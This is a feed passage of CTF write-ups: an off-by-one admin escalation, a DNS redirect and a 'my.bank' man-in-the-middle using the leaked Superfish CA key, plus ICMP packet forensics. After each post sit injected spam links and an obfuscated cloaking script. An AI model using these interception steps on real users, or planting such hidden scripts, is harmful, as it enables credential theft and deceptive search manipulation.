&lt;/pre&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;Ok, we&#039;ve got some sort of router&#039;s management console. But anyway the task&#039;s type is pwn and we&#039;ve got the binary, so...&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/bk2015kendall_writeup_meme_image.jpg&quot; alt=&quot;&quot; width=&quot;420&quot; height=&quot;250&quot;&gt;&lt;/p&gt;&lt;p&gt;Surely we should reverse the binary and find some vulnerable stuff there!&lt;/p&gt;&lt;p&gt;After investigation of the binary we notice that all input reading is done into global buffer &lt;em&gt;s2&lt;/em&gt; which size is exatcly 128 bytes:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/bkp2015_kendall_global_buffer_s2.PNG&quot; alt=&quot;&quot; width=&quot;651&quot; height=&quot;210&quot;&gt;&lt;/p&gt;&lt;p&gt;Hope you&#039;ve already noted that the buffer followed by global variable containing current user status - administrator or not. I called it &lt;em&gt;adminFlag&lt;/em&gt;. The only legal way to change that flag is through&amp;nbsp;&lt;em&gt;authenticate&lt;/em&gt; menu. Authentication served by the following function:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/bkp2015_kenall_password_cheking.PNG&quot; alt=&quot;&quot; width=&quot;529&quot; height=&quot;489&quot;&gt;&lt;/p&gt;&lt;p&gt;And it looks pertty safe. But if we try to understand how &lt;em&gt;reading input&lt;/em&gt; function works:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/bkp2015_kendall_read_128_func.PNG&quot; alt=&quot;&quot; width=&quot;352&quot; height=&quot;411&quot;&gt;&lt;/p&gt;&lt;p&gt;We see that there is a off by one error. Fortunately it is byte of &lt;em&gt;adminFlag&lt;/em&gt; which should be zero&#039;ed to escalate our access rights. So for escalation to administrator we need:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;find call to &lt;em&gt;sub_400EA6()&lt;/em&gt; with argument length &amp;gt;= 128&lt;/li&gt;&lt;li&gt;write 128 bytes followed&amp;nbsp;&lt;strong&gt;&#039;\n&#039;&lt;/strong&gt; to make 129th byte to be zero&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Jumping to xrefs of&amp;nbsp;&lt;em&gt;sub_400EA6()&lt;/em&gt;function we find one place where it is called with argument&#039;s value of 128:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/bkp2015_kendall_filter_function.PNG&quot; alt=&quot;&quot; width=&quot;482&quot; height=&quot;455&quot;&gt;&lt;/p&gt;&lt;p&gt;Nice! It is &lt;em&gt;filter leases&lt;/em&gt; stage of&amp;nbsp;&lt;em&gt;dhcp lease menu&lt;/em&gt; we saw above. Well, exploit for rights escalation is easy and small:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;doris$ python -c &quot;open(&#039;pl&#039;, &#039;wb&#039;).write(&#039;d\n&#039; + &#039;f\n&#039; + &#039;A&#039; * 128 + &#039;\n&#039;)&quot;
doris$ cat pl - | nc 52.0.164.37 8888
#####################################################
# DHCP Management Console                           #
# Auditing Interface                                #
#####################################################

 h  show this help
 a  authenticate
 c  config menu
 d  dhcp lease menu
 e  exit

[m]# [d]# Enter filter condition: [d]$&lt;/pre&gt;&lt;p&gt;BOOM! We became the administrator. Sadly, it does not give us any flag. Task worths 300 points, by the way, so it should not be so easy. As administrator now we have another possibilities in context of service. Now we are able to:&lt;/p&gt;&lt;p&gt;not only list but also change DHCP configuration:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;[c]$ l
 DHCP Configuration: 
	Start IP:   192.168.000.100
	End IP:     192.168.000.200
	Netmask:    255.255.255.000
	Nameserver: 8.8.8.8
[c]$ s
Current Value: 192.168.000.100
New Value: asd
Your input asd cointains invalid characters. Only digits and dots allowed!&lt;/pre&gt;&lt;p&gt;and now we can execute &lt;em&gt;renew leases&lt;/em&gt; action:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/bkp_kenall_renew_leases_system_call.PNG&quot; alt=&quot;&quot; width=&quot;886&quot; height=&quot;193&quot;&gt;&lt;/p&gt;&lt;p&gt;OMG! It is pure &lt;em&gt;system()&lt;/em&gt; call with string which is coltrolled by us (arguments for sprintf are IP addresses of DHCP config).&lt;/p&gt;&lt;p&gt;Sadly again, but it is not so easy. It is BKP CTF&#039;s task for 300 points, remember?&lt;/p&gt;&lt;p&gt;Function for processing DHCP settings update called for each IP address we input:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/bkp2015_kendall_read_ip_and_change.PNG&quot; alt=&quot;&quot; width=&quot;910&quot; height=&quot;514&quot;&gt;&lt;/p&gt;&lt;p&gt;it has some small bugs, but anyway we can not provide any useful payload for &lt;em&gt;system()&lt;/em&gt; call - only digits and dots are really allowed.&lt;/p&gt;&lt;p&gt;Further investigation of the binary did not give any other exploitable vulnerabilities. We were really stucked, because it is &lt;em&gt;pwn&lt;/em&gt; task and usually we expect some serious binary exploitation, even hardcore exploitation because of 300 points.&lt;/p&gt;&lt;p&gt;Later, when we finally understand that there is nothing to do with the binary we return back to:&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;img src=&quot;/sites/default/files/writeups/images/bkp2015_kendall_dhcp_lease_menu_meme.PNG&quot; alt=&quot;&quot; width=&quot;427&quot; height=&quot;194&quot;&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;Fuzzing DHCP settings we try to set up DNS IP for our own server&#039;s address. Then listen for anything incoming traffic there:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;root@evildns:/tmp# tcpdump -n dst port 53
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
12:27:44.272585 IP 52.0.164.37.52440 &amp;gt; 188.166.48.175.53: 26405+ A? yandex.ru. (27)
&lt;/pre&gt;&lt;p&gt;Stop please...&lt;/p&gt;&lt;p&gt;We received DNS query for russian leading search engine hostname?&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/bkp2015_kendall_meme_what.jpg&quot; alt=&quot;&quot; width=&quot;600&quot; height=&quot;374&quot;&gt;&lt;/p&gt;&lt;p&gt;That is really suprisingly and a little bit unbeliviable, because CTF is hosted by BostonKeyParty team from USA, but that is true. Looks like time for some &lt;em&gt;DNS Spoofing&lt;/em&gt; have come:&lt;/p&gt;&lt;p&gt;Honestly, &lt;em&gt;yandex.ru&lt;/em&gt; is not the only hostname queried from task&#039;s service (52.0.164.37). Then it queries for &lt;em&gt;my.bank&lt;/em&gt; domain.&lt;/p&gt;&lt;p&gt;After spoofing &lt;em&gt;yandex.ru&lt;/em&gt; address we tried to listen 80 port on our server but did not receive any traffic. After solving the challenge we have known from task author that we should receive HTTP-request at 80 port, but honestly we did not receive this.&lt;/p&gt;&lt;p&gt;One of the ways to go further is to setup &lt;em&gt;dnsmasq&lt;/em&gt; service:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;root@evildns:/tmp# dnsmasq --no-daemon --log-queries
dnsmasq: started, version 2.62 cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt DBus i18n IDN DHCP DHCPv6 no-Lua TFTP conntrack
dnsmasq: reading /etc/resolv.conf
dnsmasq: using nameserver 209.244.0.3#53
dnsmasq: using nameserver 8.8.8.8#53
dnsmasq: using nameserver 8.8.4.4#53
dnsmasq: read /etc/hosts - 8 addresses
dnsmasq: query[A] yandex.ru from 52.0.164.37
dnsmasq: forwarded yandex.ru to 8.8.4.4
dnsmasq: forwarded yandex.ru to 8.8.8.8
dnsmasq: forwarded yandex.ru to 209.244.0.3
dnsmasq: reply yandex.ru is 213.180.204.11
dnsmasq: reply yandex.ru is 93.158.134.11
dnsmasq: reply yandex.ru is 213.180.193.11
dnsmasq: query[A] yandex.ru from 52.0.164.37
dnsmasq: cached yandex.ru is 213.180.193.11
dnsmasq: cached yandex.ru is 93.158.134.11
dnsmasq: cached yandex.ru is 213.180.204.11
dnsmasq: query[A] my.bank from 52.0.164.37
dnsmasq: /etc/hosts my.bank is 188.166.48.175&lt;/pre&gt;&lt;p&gt;Dump all traffic after set up of &lt;em&gt;dnsmasq&lt;/em&gt; and then try to find incoming connection:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/bkp2015_kendall_tcpdump_https.PNG&quot; alt=&quot;&quot; width=&quot;1200&quot; height=&quot;447&quot;&gt;&lt;/p&gt;&lt;p&gt;It is coming to port 443... Okay. Let&#039;s process it, hope the final is close!&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;root@evildns:/tmp# nc -lvvv -p 443
listening on [any] 443 ...
connect to [188.166.48.175] from ec2-52-0-164-37.compute-1.amazonaws.com [52.0.164.37] 50092
?&amp;lt;ؠ&amp;lt;??5?_? ?,?E?y?]?^`g&#039;i\??0?,?(?$??
??kj98???2?.?*?&amp;amp;???=5???
?/?+?&#039;?#??	??g@32??ED?1?-?)?%???&amp;lt;/?A???
                                            ??m

42

	
 ^C sent 0, rcvd 289&lt;/pre&gt;&lt;p&gt;Looks like SSL Client Hello packet. Come on! This task costs just a 300 points!&lt;/p&gt;&lt;p&gt;Looks like we have to set up HTTPS server, let&#039;s do this. I&#039;m sure there are many scripts and light-weight servers for such task, but I had nginx installed and decided to process HTTPS with it.&lt;/p&gt;&lt;p&gt;Create self-signed certificate:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;root@evildns:/etc/nginx# openssl genrsa -out my.bank.key 2048
Generating RSA private key, 2048 bit long modulus
............................................................................+++
............+++
e is 65537 (0x10001)
root@evildns:/etc/nginx# openssl req -new -sha1 -key my.bank.key -out my.bank.csr
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter &#039;.&#039;, the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:my.bank
Email Address []:

Please enter the following &#039;extra&#039; attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
root@evildns:/etc/nginx# openssl x509 -req -days 365 -in my.bank.csr -signkey my.bank.key -out my.bank.crt
Signature ok
subject=/C=AU/ST=Some-State/O=Internet Widgits Pty Ltd/CN=my.bank
Getting Private key&lt;/pre&gt;&lt;p&gt;and set up nginx for HTTPS with that cert:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;server {
        listen          443 ssl;

        ssl_certificate         my.bank.crt;
        ssl_certificate_key     my.bank.key;
        ssl_protocols       TLSv1 TLSv1.1 TLSv1.2;
        ssl on;
        ssl_session_timeout 5m;
        ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv3:+EXP;
        ssl_prefer_server_ciphers on;

        root /data/www;

        location = / {
                index index.html;
        }

        location / {
                default_type &quot;text/html&quot;;
                try_files $uri $uri.html;
        }
}&lt;/pre&gt;&lt;p&gt;Let&#039;s look into traffic again. Hope there should be the flag now!&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;root@evildns:/etc/nginx# tail -f /var/log/nginx/access.log 
&amp;lt;...&amp;gt;
52.0.164.37 - - [28/Feb/2015:16:43:02 +0400] &quot;-&quot; 400 0 &quot;-&quot; &quot;-&quot;&lt;/pre&gt;&lt;p&gt;Come on! Where is the flag? We have already even set up HTTPS, WTF?&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/bkp2015_kendall_unknown_ca.PNG&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&lt;p&gt;Unknown CA? Of course it is unknown! Where should we get trusted CA who would sign certificate for &lt;em&gt;my.bank&lt;/em&gt; domain?&lt;/p&gt;&lt;p&gt;Our &lt;em&gt;my.bank&lt;/em&gt; certificate is self-signed without any CA. Later we tried to create root CA self-signed certificate and sign &lt;em&gt;my.bank&lt;/em&gt; cert with root CA&#039;s one. It did not help.&lt;/p&gt;&lt;p&gt;As we have known from task&#039;s author after solving the task, HTTP request to &lt;em&gt;yandex.ru&lt;/em&gt; contained hint about this stage. But as I wrote above about &lt;em&gt;yandex.ru&lt;/em&gt;&amp;nbsp;we did not receive any incoimng connection at 80 port when spoofed &lt;em&gt;yandex.ru&lt;/em&gt; domain.&lt;/p&gt;&lt;p&gt;However if you follow the news about Information Security you should hear about leaked &lt;em&gt;Superfish Inc. &lt;/em&gt;certificate (and corresponding pre-installed backdoors in lenovo laptops). More info from &lt;a href=&quot;http://blog.erratasec.com/2015/02/extracting-superfish-certificate.html&quot;&gt;Errata Security blog&lt;/a&gt;, for example.&lt;/p&gt;&lt;p&gt;&amp;nbsp;Let&#039;s try to sign our &lt;em&gt;my.bank&lt;/em&gt; certificate by&amp;nbsp;&lt;em&gt;Superfich Inc&lt;/em&gt;:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;root@evildns:/etc/nginx# openssl x509 -req -days 365 -in my.bank.csr -CAkey super.pem -CA super.crt -out supermy.bank.crt
Signature ok
subject=/C=AU/ST=Some-State/O=Internet Widgits Pty Ltd/CN=my.bank
Getting CA Private Key
Enter pass phrase for super.pem:&lt;/pre&gt;&lt;p&gt;dnd listen for incoming requests again:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;root@evildns:/etc/nginx# tail -f /var/log/nginx/access.log 
&amp;lt;...&amp;gt;
52.0.164.37 - - [28/Feb/2015:13:44:53 +0000] &quot;GET /login/username=FLG-SIK9KSRBHIYUKNGEBXlKW3B7HS2I HTTP/1.1&quot; 404 168 &quot;-&quot; &quot;Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0&quot;&lt;/pre&gt;&lt;p&gt;I&#039;m happy to say that username from request is the flag!&lt;/p&gt;&lt;p&gt;Flag:&amp;nbsp;&lt;strong&gt;FLG-SIK9KSRBHIYUKNGEBXlKW3B7HS2I&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Afterwords&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;This task is awesome. My teammates and I enjoyed it too much when fully understood how to solve it.&lt;/p&gt;&lt;p&gt;Task and its author are&amp;nbsp;praiseworthy for all these interesting hacking steps which must be done to solve tasks. But not only for that. This is amazing example of how dangerous information technologies are nowadays for general users. Even for all users, I think.&lt;/p&gt;&lt;p&gt;Thank you BostonKeyParty and respect for such challenge!&amp;nbsp;&lt;/p&gt;&lt;p&gt;Overview of task from its author:&amp;nbsp;&lt;a href=&quot;http://mweissbacher.com/blog/2015/03/01/boston-key-party-2015-kendall-challenge-superfish/&quot;&gt;http://mweissbacher.com/blog/2015/03/01/boston-key-party-2015-kendall-challenge-superfish/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Flag:&amp;nbsp;&lt;strong&gt;FLG-SIK9KSRBHIYUKNGEBXlKW3B7HS2I&lt;/strong&gt;&lt;/p&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.juzsports.com/&quot;&gt;Asics shoes&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.ietp.com/fr/dfediqshop/release-dates/nike/air-force-1-shadow/&quot;&gt;Women&#039;s Nike nike roshe heart and sole shoes for women Shadow trainers - Latest Releases , Ietp&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-file field-type-file field-label-above&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Attachments:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;span class=&quot;file&quot;&gt;&lt;img class=&quot;file-icon&quot; alt=&quot;Binary Data&quot; title=&quot;application/octet-stream&quot; src=&quot;/modules/file/icons/application-octet-stream.png&quot; /&gt; &lt;a href=&quot;https://ctfcrew.org/sites/default/files/writeups/kendall.tar_.gz&quot; type=&quot;application/octet-stream; length=5103&quot;&gt;kendall.tar_.gz&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Mon, 02 Mar 2015 11:00:58 +0000</pubDate>
 <dc:creator>Dor1s</dc:creator>
 <guid isPermaLink="false">97 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/97#comments</comments>
</item>
<item>
 <title>cloudfs forensics(200)</title>
 <link>https://ctfcrew.org/writeup/96</link>
 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/forensics&quot;&gt;forensics&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/31&quot;&gt;Ghost in the Shellcode CTF Quals 2015&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p&gt;We have just finished Ghost in the Shell code CTF in 12th place. Though GITS CTF is usually one of the best CTFs, but this year they weren&#039;t that good. The web task had a good idea but wan&#039;t correctly implemented, some people got the flag right away from others&#039; exploitations.&amp;nbsp;Forensics tasks wasn&#039;t really PURE forensic. Yet, I personally enjoyed the CTF and enjoyed cloudfs challenge.&amp;nbsp;&lt;/p&gt;&lt;p&gt;Cloudfs challenge was a forensic&amp;nbsp;challenge with 200 points. The task description was &quot;find the key&quot;. After downloading the task file, we&amp;nbsp;checked the file and it was compressed with xz. After decompressing the file, we got a pcap file. Opening the PCAP file with wireshark, we found around 3K packets. Checking the Protocol&amp;nbsp;Hierarchy of the packets we got the following result: 98.81% of the&amp;nbsp;packets are ICMP packets.&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/Screen%20Shot%202015-01-21%20at%202.38.03%20PM.png&quot; alt=&quot;&quot; width=&quot;1200&quot; height=&quot;782&quot;&gt;&lt;/p&gt;&lt;p&gt;It simply means that the flag must be some ICMP packets. To start solving this challenge, we need to understand what ICMP packets are. The Internet Control Message Protocol is part of the Internet Protocol Suite, as defined in RFC 792. ICMP messages are typically used for diagnostic or control purposes or generated in response to errors in IP operations (as specified in RFC 1122). ICMP protocol has many&amp;nbsp;functionalities like sending error messages, such as&amp;nbsp;Destination unreachable, Time limit Exceeded,&amp;nbsp;etc... One of the ICMP protocol functionalities is ICMP echo request/reply. In the normal ICMP echo packet, the sender usually sends 48 bytes of data to the&amp;nbsp;recipient who should echo back this data. Usually this type of ICMP packets are used to as&amp;nbsp;an indication that the&amp;nbsp;recipient is up and running. In the normal ICMP echo request/reply, the data section should include&amp;nbsp;some of these bytes &quot;11:12:13:14:15:16:17:18:19:1a:1b:1c:1d:1e:1f:20:21:22:23:24:25:26:27:28:29:2a:2b:2c:2d:2e:2f:30:31:32:33:34:35:36:37&quot; and usually the default size of the ICMP echo request is 48 bytes.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/Screen%20Shot%202015-01-21%20at%202.54.40%20PM.png&quot; alt=&quot;&quot; width=&quot;1200&quot; height=&quot;414&quot;&gt;&lt;/p&gt;&lt;p&gt;By looking at the ICMP packets in the given pcap file. we realized that the size of each packet is NOT 48 bytes. We also noticed that the packets do not contain the normal data that is sent in usual ICMP echo request packets. We decided that we should dump all these packets (the unique ones) then we de-hex them and try to understand what they might mean. We dumped all data of the ICMP packets using tshark with the following options.&amp;nbsp;&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;$ tshark -r cloudfs -Y &quot;icmp&quot; -T fields -e data &amp;gt; raw_data&lt;/pre&gt;&lt;p&gt;Now we have the raw_data of the ICMP echo packets. We need to do 2 things: first remove all duplicates, and then de-hex the data. This can be done with a very simple python script. The following script does what I have explained above.&lt;/p&gt;&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot; title=&quot;Python&quot;&gt;f = open(&#039;raw_data&#039;, &#039;r&#039;)
lines = f.read().splitlines()
output = []
output2=[]
for l in lines:
    try:
        val = l.decode(&#039;hex&#039;)
        if val not in output:
            output.append(val)
    except:
        print &quot;In Exception&quot; + l

w = open(&#039;output_raw_decoded&#039;, &#039;wb&#039;)
for i in output:
	w.write(i)
w.close()&lt;/pre&gt;&lt;p&gt;Now we have the unique data dumped into a file and decoded. The next stage we should think of is to try to understand this data. What is this file. I checked the output_raw_decoded with the file command but it just show its type as &quot;data&quot;. I then decided to run binwalk to see if there are any data within this group of binary. Indeed, binwalk show us the following result.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/Screen%20Shot%202015-01-21%20at%203.05.57%20PM.png&quot; alt=&quot;&quot; width=&quot;777&quot; height=&quot;130&quot;&gt;&lt;/p&gt;&lt;p&gt;We can see s bzip2 compressed file here. We dumped the compressed file using dd with the following options&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;$ dd if=output_raw_decoded of=compressed_output skip=1480 bs=1&lt;/pre&gt;&lt;p&gt;Now we have another file which we should check its type and see what is inside. However, I simply tried to cat the file directly before even checking its type and I got this.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/Screen%20Shot%202015-01-21%20at%203.11.21%20PM.png&quot; alt=&quot;&quot; width=&quot;1200&quot; height=&quot;462&quot;&gt;&lt;/p&gt;&lt;p&gt;We can see the key now ...&lt;/p&gt;&lt;p&gt;&lt;strong&gt;key{WhyWouldYouEverUseThis}&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;I hope you enjoyed the write-up&lt;/p&gt;&lt;p&gt;Regards&lt;/p&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.juzsports.com/&quot;&gt;Asics shoes&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.ietp.com/fr/dfecfyshop/products/yeezy-slides-core-g55492&quot;&gt;Buy Yeezy Slides &#039;Core&#039; - Kanye West x Adidas — Ietp&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Wed, 21 Jan 2015 13:24:56 +0000</pubDate>
 <dc:creator>the_storm</dc:creator>
 <guid isPermaLink="false">96 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/96#comments</comments>
</item>
<item>
 <title>Rick (malware 15)</title>
 <link>https://ctfcrew.org/writeup/95</link>
 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/admin&quot;&gt;admin&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/30&quot;&gt;31C3 CTF Quals 2014&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p&gt;Task description says that &quot;seems like somebody got pwned&amp;nbsp;&lt;a style=&quot;box-sizing: border-box; color: #337ab7;&quot; href=&quot;http://188.40.18.67/&quot;&gt;http://188.40.18.67&lt;/a&gt;&quot;. When I went to the link I was immediately rickrolled.&lt;/p&gt;&lt;p&gt;&lt;!--break--&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;Ok, let&#039;s look for something at page source code. Here 